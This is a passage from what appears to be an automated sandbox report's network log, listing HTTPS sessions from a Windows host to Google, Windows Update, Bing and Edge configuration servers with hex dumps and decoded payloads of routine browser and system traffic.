63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d Data Ascii: or(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}
2024-11-25 11:08:30 UTC	1390	IN	Data Raw: 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c Data Ascii: (\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\
2024-11-25 11:08:30 UTC	1390	IN	Data Raw: 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e Data Ascii: ctor(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.me\u003dfunction(a,b){_.Ab(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.
2024-11-25 11:08:30 UTC	1390	IN	Data Raw: 6f 63 75 6d 65 6e 74 2c 61 29 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 5c 75 30 30 33 64 53 74 72 69 6e 67 28 62 29 3b 61 2e 63 6f 6e 74 65 6e 74 54 79 70 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 28 62 5c 75 30 30 33 64 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3b 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 62 29 7d 3b 5f 2e 73 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6c 65 74 20 62 3b 66 6f 72 28 3b 62 5c 75 30 30 33 64 61 2e 66 69 72 73 74 43 68 69 6c 64 3b 29 61 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 62 29 7d 3b 5f 2e 74 65 5c 75 30 30 33 64 Data Ascii: ocument,a)};_.oe\u003dfunction(a,b){b\u003dString(b);a.contentType\u003d\u003d\u003d\"application/xhtml+xml\"\u0026\u0026(b\u003db.toLowerCase());return a.createElement(b)};_.se\u003dfunction(a){let b;for(;b\u003da.firstChild;)a.removeChild(b)};_.te\u003d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49712	172.217.21.36	443	7192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:29 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 11:08:30 UTC	933	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 25 Nov 2024 11:08:29 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 11:08:30 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-25 11:08:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49714	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:31 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZHYzBU9XXRw5tHv&MD=5C6y4ED8 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-25 11:08:31 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: a58fa836-316d-4f7f-9de6-777fe21f4965 MS-RequestId: fd22f358-36c8-4d36-884a-5ad125a7c064 MS-CV: KT/x0zLIwEiyCJCM.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 25 Nov 2024 11:08:30 GMT Connection: close Content-Length: 24490
2024-11-25 11:08:31 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-25 11:08:31 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49725	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:33 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 11:08:33 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=80698 Date: Mon, 25 Nov 2024 11:08:33 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49730	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:35 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 11:08:36 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=80673 Date: Mon, 25 Nov 2024 11:08:36 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-25 11:08:36 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49738	13.107.9.158	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:41 UTC	427	OUT	GET /work/api/v2/tenant/my/settingswithflights?&clienttype=edge-omnibox HTTP/1.1 Host: business.bing.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:41 UTC	766	IN	HTTP/1.1 401 Unauthorized Content-Length: 579 Content-Type: application/json; charset=utf-8 Strict-Transport-Security: max-age=31536000; includeSubDomains nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://bzib.nelreports.net/api/report?cat=bingbusiness"}]} X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: CDA49904E4704DC38597FC29976778B4 Ref B: BL2AA2010203025 Ref C: 2024-11-25T11:08:41Z Date: Mon, 25 Nov 2024 11:08:41 GMT Connection: close
2024-11-25 11:08:41 UTC	579	IN	Data Raw: 7b 22 74 65 6e 61 6e 74 53 65 74 74 69 6e 67 73 22 3a 7b 22 66 72 69 65 6e 64 6c 79 4e 61 6d 65 22 3a 22 22 2c 22 74 65 6e 61 6e 74 4f 62 6a 65 63 74 49 64 22 3a 22 22 2c 22 74 65 6e 61 6e 74 49 64 22 3a 22 22 2c 22 74 65 6e 61 6e 74 44 69 73 70 6c 61 79 4e 61 6d 65 22 3a 22 22 2c 22 69 63 6f 6e 4c 61 72 67 65 22 3a 22 22 2c 22 69 63 6f 6e 4c 61 72 67 65 43 68 65 63 6b 73 75 6d 22 3a 22 22 2c 22 74 68 65 6d 65 22 3a 22 22 2c 22 61 64 6d 69 6e 45 6d 61 69 6c 22 3a 22 22 2c 22 69 63 6f 6e 4c 61 72 67 65 49 73 44 65 66 61 75 6c 74 22 3a 66 61 6c 73 65 2c 22 74 65 6e 61 6e 74 47 72 6f 75 70 22 3a 22 22 2c 22 73 74 61 74 75 73 22 3a 22 43 6f 6d 70 6c 65 74 65 22 2c 22 76 61 72 69 61 6e 74 73 22 3a 5b 5d 2c 22 65 78 70 6c 6f 72 65 51 75 65 72 69 65 73 22 3a 5b Data Ascii: {"tenantSettings":{"friendlyName":"","tenantObjectId":"","tenantId":"","tenantDisplayName":"","iconLarge":"","iconLargeChecksum":"","theme":"","adminEmail":"","iconLargeIsDefault":false,"tenantGroup":"","status":"Complete","variants":[],"exploreQueries":[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49737	13.107.9.158	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:41 UTC	418	OUT	GET /api/v1/user/token/microsoftgraph?&clienttype=edge-omnibox HTTP/1.1 Host: business.bing.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:41 UTC	801	IN	HTTP/1.1 401 Unauthorized Cache-Control: max-age=0, no-cache, no-store, must-revalidate WWW-Authenticate: Bearer WWW-Authenticate: Bearer WWW-Authenticate: Bearer error="invalid_token" WWW-Authenticate: Bearer error="invalid_token" Strict-Transport-Security: max-age=31536000; includeSubDomains X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: A424AA95FC364919A7EBB9862015490A Ref B: BL2AA2010204025 Ref C: 2024-11-25T11:08:41Z Set-Cookie: MUIDB=3BA0A92AA06461B934DDBC68A1F060FC; path=/; httponly; expires=Sat, 20-Dec-2025 11:08:41 GMT Date: Mon, 25 Nov 2024 11:08:40 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49733	52.123.243.184	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:41 UTC	747	OUT	GET /config/v1/Edge/117.0.2045.47?clientId=-5438092865908489856&agents=Edge%2CEdgeConfig%2CEdgeServices%2CEdgeFirstRun%2CEdgeFirstRunConfig%2CEdgeDomainActions&osname=win&client=edge&channel=stable&scpfull=0&scpguard=0&scpfre=0&scpver=0&osarch=x86_64&osver=10.0.19045&wu=1&devicefamily=desktop&uma=0&sessionid=5&mngd=0&installdate=1696493841&edu=0&bphint=2&soobedate=1696493837&fg=1 HTTP/1.1 Host: config.edge.skype.com Connection: keep-alive If-None-Match: "h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=" Accept-Encoding: gzip Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
2024-11-25 11:08:42 UTC	1176	IN	HTTP/1.1 200 OK Cache-Control: no-cache,max-age=3600 Content-Length: 58344 Content-Type: application/json Expires: Mon, 25 Nov 2024 12:08:41 GMT ETag: "FYEOpmVSej3nVzWrMTh+e2kYfxv82uJkDgIRrAJADVk=" Server: Microsoft-IIS/10.0 request-id: 0b6d3efb-2386-2cdd-2ee6-a2bfa86907e2 X-BackEndHttpStatus: 200 X-Content-Type-Options: nosniff X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; includeSubDomains Report-To: {"group":"NelEcsUpload1","max_age":604800,"endpoints":[{"url":"https://ecs.nel.measure.office.net?TenantId=Edge&DestinationEndpoint=MIRA-WW-DX0&FrontEnd=MIRA"}],"include_subdomains":true} NEL: {"report_to":"NelEcsUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} X-Proxy-RoutingCorrectness: 1 X-MSEdge-Ref: MIRA: 0b6d3efb-2386-2cdd-2ee6-a2bfa86907e2 DX0P273CA0066 2024-11-25T11:08:41.735Z Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-Proxy-BackendServerStatus: 200 X-FirstHopCafeEFZ: DXB X-FEProxyInfo: DX0P273CA0066.AREP273.PROD.OUTLOOK.COM X-FEEFZInfo: DXB X-Powered-By: ASP.NET X-FEServer: DX0P273CA0066 Date: Mon, 25 Nov 2024 11:08:41 GMT Connection: close
2024-11-25 11:08:42 UTC	3359	IN	Data Raw: 7b 22 45 43 53 22 3a 7b 22 45 78 63 6c 75 64 65 45 78 74 65 72 6e 61 6c 43 6f 6e 66 69 67 49 64 73 49 6e 4c 6f 67 22 3a 74 72 75 65 2c 22 43 6f 6e 66 69 67 4c 6f 67 54 61 72 67 65 74 22 3a 22 65 64 67 65 5f 73 74 61 62 6c 65 22 7d 2c 22 45 64 67 65 22 3a 7b 22 44 69 73 63 6f 6e 6e 65 63 74 65 64 45 72 72 6f 72 50 61 67 65 56 61 72 69 61 74 69 6f 6e 73 22 3a 7b 22 65 6e 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 53 68 6f 77 54 72 6f 75 62 6c 65 73 68 6f 6f 74 42 75 74 74 6f 6e 4f 6e 45 72 72 6f 72 50 61 67 65 22 2c 22 6d 73 44 69 73 63 6f 6e 6e 65 63 74 65 64 45 72 72 6f 72 50 61 67 65 56 61 72 69 61 74 69 6f 6e 32 22 5d 7d 2c 22 50 68 6f 65 6e 69 78 43 75 73 74 6f 6d 54 68 65 6d 65 22 3a 7b 22 65 6e 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b Data Ascii: {"ECS":{"ExcludeExternalConfigIdsInLog":true,"ConfigLogTarget":"edge_stable"},"Edge":{"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"PhoenixCustomTheme":{"enableFeatures":[
2024-11-25 11:08:42 UTC	12336	IN	Data Raw: 22 44 69 73 61 62 6c 65 57 65 62 47 50 55 53 75 70 70 6f 72 74 4d 65 74 72 69 63 73 22 3a 7b 22 64 69 73 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 43 6f 6c 6c 65 63 74 57 65 62 47 50 55 53 75 70 70 6f 72 74 4d 65 74 72 69 63 73 22 5d 7d 2c 22 4d 79 57 69 6e 43 6f 50 69 6c 6f 74 49 63 6f 6e 22 3a 7b 22 65 6e 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 55 6e 64 65 72 73 69 64 65 57 69 6e 43 6f 70 69 6c 6f 74 4e 78 74 42 72 61 6e 64 22 5d 7d 2c 22 4c 6f 61 64 53 74 61 74 69 73 74 69 63 73 4c 6f 67 67 69 6e 67 50 72 69 22 3a 7b 22 64 69 73 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 4c 6f 61 64 53 74 61 74 69 73 74 69 63 73 4c 6f 77 50 72 69 4c 6f 67 67 69 6e 67 22 5d 7d 2c 22 48 69 73 74 6f 72 79 54 68 75 6d 62 6e 61 69 6c 4b 69 6c Data Ascii: "DisableWebGPUSupportMetrics":{"disableFeatures":["CollectWebGPUSupportMetrics"]},"MyWinCoPilotIcon":{"enableFeatures":["msUndersideWinCopilotNxtBrand"]},"LoadStatisticsLoggingPri":{"disableFeatures":["msLoadStatisticsLowPriLogging"]},"HistoryThumbnailKil
2024-11-25 11:08:42 UTC	16384	IN	Data Raw: 64 69 61 2e 69 6e 64 69 61 74 69 6d 65 73 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 70 75 73 68 65 6e 67 61 67 65 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 74 69 6d 65 73 6e 6f 77 6e 65 77 73 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 63 6f 75 70 6f 6e 72 61 6e 69 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 77 68 6f 6c 65 73 6f 6d 65 79 75 6d 2e 63 6f 6d 22 7d 2c 7b 22 Data Ascii: dia.indiatimes.com"},{"applied_policy":"Prompt","domain":"pushengage.com"},{"applied_policy":"Prompt","domain":"www.timesnownews.com"},{"applied_policy":"Prompt","domain":"www.couponrani.com"},{"applied_policy":"Prompt","domain":"www.wholesomeyum.com"},{"
2024-11-25 11:08:42 UTC	16384	IN	Data Raw: 76 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 63 6f 6d 61 73 73 76 61 78 2e 6f 72 67 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 6d 74 72 65 61 64 79 63 6c 69 6e 69 63 2e 6f 72 67 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 76 61 63 63 69 6e 61 74 65 72 69 2e 6f 72 67 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 6d 61 72 79 6c 61 6e 64 76 61 78 2e 6f 72 67 22 2c 22 61 70 70 6c 69 65 64 Data Ascii: v","applied_policy":"ChromeUA"},{"domain":"www.comassvax.org","applied_policy":"ChromeUA"},{"domain":"www.mtreadyclinic.org","applied_policy":"ChromeUA"},{"domain":"www.vaccinateri.org","applied_policy":"ChromeUA"},{"domain":"www.marylandvax.org","applied
2024-11-25 11:08:42 UTC	9881	IN	Data Raw: 22 3a 22 6d 61 69 6c 2e 6e 61 74 65 2e 63 6f 6d 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 66 69 74 6e 65 73 73 74 65 73 74 2e 78 74 75 2e 65 64 75 2e 63 6e 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 6d 69 72 6f 2e 63 6f 6d 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 6f 77 67 61 6d 65 2e 6a 70 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 63 73 69 61 2e 6f 72 67 2e 63 6e 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 Data Ascii: ":"mail.nate.com","applied_policy":"ChromeUA"},{"domain":"fitnesstest.xtu.edu.cn","applied_policy":"ChromeUA"},{"domain":"miro.com","applied_policy":"ChromeUA"},{"domain":"wowgame.jp","applied_policy":"ChromeUA"},{"domain":"csia.org.cn","applied_policy":"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49739	94.245.104.56	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:41 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
